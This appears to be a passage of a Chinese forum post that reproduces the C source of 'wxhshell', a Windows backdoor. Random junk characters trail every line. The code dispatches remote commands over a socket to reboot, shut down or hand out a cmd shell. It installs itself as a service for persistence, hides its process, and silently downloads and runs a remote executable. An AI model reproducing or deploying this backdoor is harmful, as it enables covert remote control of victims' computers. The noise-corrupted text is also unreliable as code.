    switch(cmd[0]) { N>a~k}pPH  
  ^q& Rl\  
  // 帮助 7CF>cpw  
  case '?': { >+;} "J  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); XI$W  
    break; *Od?>z  
  } f9Xa}*  
  // 安装 [X]hb7-&  
  case 'i': { wxJ"{(;  
    if(Install()) [hH>BEtm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $gYGnh_,Q  
    else kxyOe[7 S  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8q6Le{G  
    break; bxL'k/Y$  
    } q^^R|X1  
  // 卸载 m;xa}b{(i  
  case 'r': { Lh-Y5(c o  
    if(Uninstall()) SCMvq?9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %q;y74  
    else V(LfFO{^>?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZR|s]'  
    break; :?z @T[-  
    } u-jc8W`Zd  
  // 显示 wxhshell 所在路径 B+R|fQ  
  case 'p': { Syl9j]  
    char svExeFile[MAX_PATH]; |=VWE>g  
    strcpy(svExeFile,"\n\r"); Df2$2VU  
      strcat(svExeFile,ExeFile); ^e_uprZWm  
        send(wsh,svExeFile,strlen(svExeFile),0); QALr   
    break; @J6r;4|&  
    } z.)*/HGJm  
  // 重启 @Q nKaZ8jW  
  case 'b': { }LX!dDuwA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 99'c\[fd'  
    if(Boot(REBOOT)) [K4 k7$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .) %, R  
    else { ~^'t70 :D  
    closesocket(wsh); ,+v(?5[6  
    ExitThread(0); x@O )QaBN!  
    } lF46W  
    break; [z7]@v6b  
    } z,dF Dl$  
  // 关机 Z RwN#?x  
  case 'd': { x+%> 2qgj"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NaQ~iY?  
    if(Boot(SHUTDOWN)) \f Kn} ]kG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %)dp a  
    else { b 5K"lPr  
    closesocket(wsh); g~9rt_OV  
    ExitThread(0); :~s*yznf  
    } mxJe\[I  
    break; ##mBOdx  
    } ?/,V{!UTtq  
  // 获取shell <pG 4 g  
  case 's': { h5aPRPUg  
    CmdShell(wsh); gth_Sz5!#  
    closesocket(wsh); \>.[QQVI"l  
    ExitThread(0); r~,3  
    break; MX!N?k#KhP  
  } vt(}8C+  
  // 退出 `W1TqA  
  case 'x': { |KPNl\%ID  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &:g1*+  
    CloseIt(wsh); Lew 2Z  
    break; r t)[}+ox  
    } B'vIL'  
  // 离开 wJgGw5  
  case 'q': { }+u<w{-7/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w9gfva$&  
    closesocket(wsh); {VM^K1  
    WSACleanup(); .]<iRf[\[  
    exit(1); Y|/,*,u+  
    break; 1guiuR4  
        } DI-CC[  
  } hS%oQ)zvE  
  } fL'Ci;.;+  
@K#}nKN'  
  // 提示信息 6*|EB|%n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ose)\rM'  
} w#L`|cYCm  
  } L1@<7?@X  
7}&vEc@w&  
  return; _a`/{M|  
} <{Rz1CMc  
{[{jl G4H  
// shell模块句柄 pVjOp~=U  
int CmdShell(SOCKET sock) pd.pY*B<[  
{ tgeXX1Eq!  
STARTUPINFO si; t""Y -M  
ZeroMemory(&si,sizeof(si)); Nh4&3"g|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; CzDg?wb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; &RHx8zScP  
PROCESS_INFORMATION ProcessInfo; K\lu;   
char cmdline[]="cmd"; )U}`x }:,  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bQ0+Y?,+/  
  return 0; 8KdcU [w]  
} 5GJa+St?  
dg(sRTi{  
// 自身启动模式 ^p%3@)&  
int StartFromService(void) BGu<1$ G  
{ z<. 6jx@  
typedef struct uSxldc  
{ \x8'K  
  DWORD ExitStatus; Gch3|e  
  DWORD PebBaseAddress; DsHm,dZ  
  DWORD AffinityMask; w(y 9y9r]  
  DWORD BasePriority; criNeKa  
  ULONG UniqueProcessId; kp)1s>c  
  ULONG InheritedFromUniqueProcessId; [ 4PiQyr  
}   PROCESS_BASIC_INFORMATION; q((%sWp  
X:(t,g*7  
PROCNTQSIP NtQueryInformationProcess; iE ,"YCK  
2ryg3% +O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9wC='  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u*7>0o|H:  
i>pUTT _[  
  HANDLE             hProcess; mJVru0  
  PROCESS_BASIC_INFORMATION pbi; ]qk`Yi  
a5`9mR)Y$'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Qg o| \=  
  if(NULL == hInst ) return 0; X#MC|Fzy@  
uxW<Eh4H*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )@ .0ai  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); OeQ~g-n  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j#H&~f  
S09Xe_q  
  if (!NtQueryInformationProcess) return 0; ]4 \6_J&  
%w3tzE1Hq  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7U&<{U<  
  if(!hProcess) return 0; `]/0&S  
q-+_Y `_\  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]^QO ^{Sz  
mw\Pv|  
  CloseHandle(hProcess); 4%SA%]a L1  
}$3pS:_N~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \LM{.g zT  
if(hProcess==NULL) return 0; "haJwV6-  
a{kLAx[>  
HMODULE hMod; Z?."cuTt  
char procName[255]; +OO my  
unsigned long cbNeeded; U)('}u=b  
vC^n_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (~#-J7  
_J_QB]t  
  CloseHandle(hProcess); L^ U.h  
W)odaab7  
if(strstr(procName,"services")) return 1; // 以服务启动 u&o<>d;)  
bI)%g  
  return 0; // 注册表启动 lygv#s-T  
} q9$K.=_5  
(^)(#CxO  
// 主模块 };>~P%u32  
int StartWxhshell(LPSTR lpCmdLine) 'W p~8}i@  
{ mbIHzzW>  
  SOCKET wsl; (+bt{Ma  
BOOL val=TRUE; hx}X=7w  
  int port=0; , #(k|Zztc  
  struct sockaddr_in door; Tnnj8I1v  
{_jbFJ  
  if(wscfg.ws_autoins) Install(); ^^[A\'  
|Tk'H&  
port=atoi(lpCmdLine); -9q3]nmT(  
XK@Ct eP"  
if(port<=0) port=wscfg.ws_port; w.-J2%J   
A4TW`g_zm  
  WSADATA data; x0dBg~I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .JWN\\  
R& HkWe  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   }Q;^C  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));  ByjgM`  
  door.sin_family = AF_INET; iz6+jHu'l  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /t _QA  
  door.sin_port = htons(port); [T2!,D.  
F<2qwP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i#Z#(D `m  
closesocket(wsl); f"G-',O<  
return 1; j<d,7  
} hsZ@)[/:  
f;3k Yh^4  
  if(listen(wsl,2) == INVALID_SOCKET) { kSjvY&n%  
closesocket(wsl); B[7Fq[.mh  
return 1; @F!oRm5  
} _Q\<|~  
  Wxhshell(wsl); Q.l3F3;  
  WSACleanup(); <s (o?U  
%VO>6iVn  
return 0; 9G{#a#Z.  
'.t{\  
} FN D+Ok&  
tr%VYc|}  
// 以NT服务方式启动 "0?" E\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 207h$a,  
{ 6oq/\D$6~  
DWORD   status = 0; >u?a#5R:m  
  DWORD   specificError = 0xfffffff; b}m@2DR'|m  
VP6_}9:9   
  serviceStatus.dwServiceType     = SERVICE_WIN32; -b'/}zz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?s9f}>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n wO5<b;  
  serviceStatus.dwWin32ExitCode     = 0; TA!6|)BUW  
  serviceStatus.dwServiceSpecificExitCode = 0;  e3%dNa  
  serviceStatus.dwCheckPoint       = 0; /wJocx]vQ  
  serviceStatus.dwWaitHint       = 0; c/-PEsk_TP  
m=D9V-P  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BVxk}#d  
  if (hServiceStatusHandle==0) return; cbv%1DT3  
}?,Eb~q  
status = GetLastError(); X GDJCN  
  if (status!=NO_ERROR) 1 o\COnt  
{ ~4`3p=$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; bHioM{S  
    serviceStatus.dwCheckPoint       = 0; RWXN  
    serviceStatus.dwWaitHint       = 0; C=P}@|K  
    serviceStatus.dwWin32ExitCode     = status; [LKzH!  
    serviceStatus.dwServiceSpecificExitCode = specificError; gq&jNj7V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }_9yemP  
    return; vH>s2\V"  
  } '],G!U(  
;b0;66C8|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )bK3%>H#  
  serviceStatus.dwCheckPoint       = 0; }ykc AK3U  
  serviceStatus.dwWaitHint       = 0; ;1Q @d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); X "Q\MLy  
} $&. rS.*  
c- "#  
// 处理NT服务事件,比如:启动、停止 (6X{ &  
VOID WINAPI NTServiceHandler(DWORD fdwControl) G,,f' >  
{ d+&w7/F  
switch(fdwControl) 4-W~ 1  
{ Ew&|!d  
case SERVICE_CONTROL_STOP: @eN,m {b  
  serviceStatus.dwWin32ExitCode = 0; J?qikE&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !'kr:r}gg  
  serviceStatus.dwCheckPoint   = 0; ;^  YpQP  
  serviceStatus.dwWaitHint     = 0; }n?D#Pk,  
  { ]oyWJ#8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >$;,1N $bd  
  } PS`F  
  return; \kC'y9k  
case SERVICE_CONTROL_PAUSE: w)"F=33}5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [&:dPd1_  
  break; c=4z+_K  
case SERVICE_CONTROL_CONTINUE: B8?j"AF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~f?brQ?  
  break; dIk9C|-.  
case SERVICE_CONTROL_INTERROGATE: ZtX \E+mC  
  break; Ksvk5r&y  
}; O2oF\E_6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Twpk@2=l  
} '$q3Ze  
s mqUFo  
// 标准应用程序主函数 K,@} 'N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) HnY.=_G  
{ !+n'0{  
9oj0X>| 1  
// 获取操作系统版本 /7K7o8g  
OsIsNt=GetOsVer(); *xDV8iu_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); E^x/v_,$w!  
e}2[g  
  // 从命令行安装 8D`TN8[W  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q@cYHFi~+  
ho}G]y  
  // 下载执行文件 [.nkNda5)v  
if(wscfg.ws_downexe) { (O'O #AD  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zz-X5PFn  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8n/[oDc]  
} Nd**":i$  
=Kt!+^\")  
if(!OsIsNt) { ;tfGhHpQn  
// 如果时win9x,隐藏进程并且设置为注册表启动 @Zfg]L{Lr  
HideProc(); 6\6g-1B`  
StartWxhshell(lpCmdLine); DU:+D}v l  
} #QiNSS  
else %m "9 =C  
  if(StartFromService()) WWv.kglz  
  // 以服务方式启动 kvam`8SeL  
  StartServiceCtrlDispatcher(DispatchTable); /1?{,Das=  
else `k3sl 0z%  
  // 普通方式启动 BqDOo(%1)  
  StartWxhshell(lpCmdLine); Hh &s.ja  
L^L.;1  
return 0; >,n K  
}
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只看该作者 1 发表于: 2006-10-10
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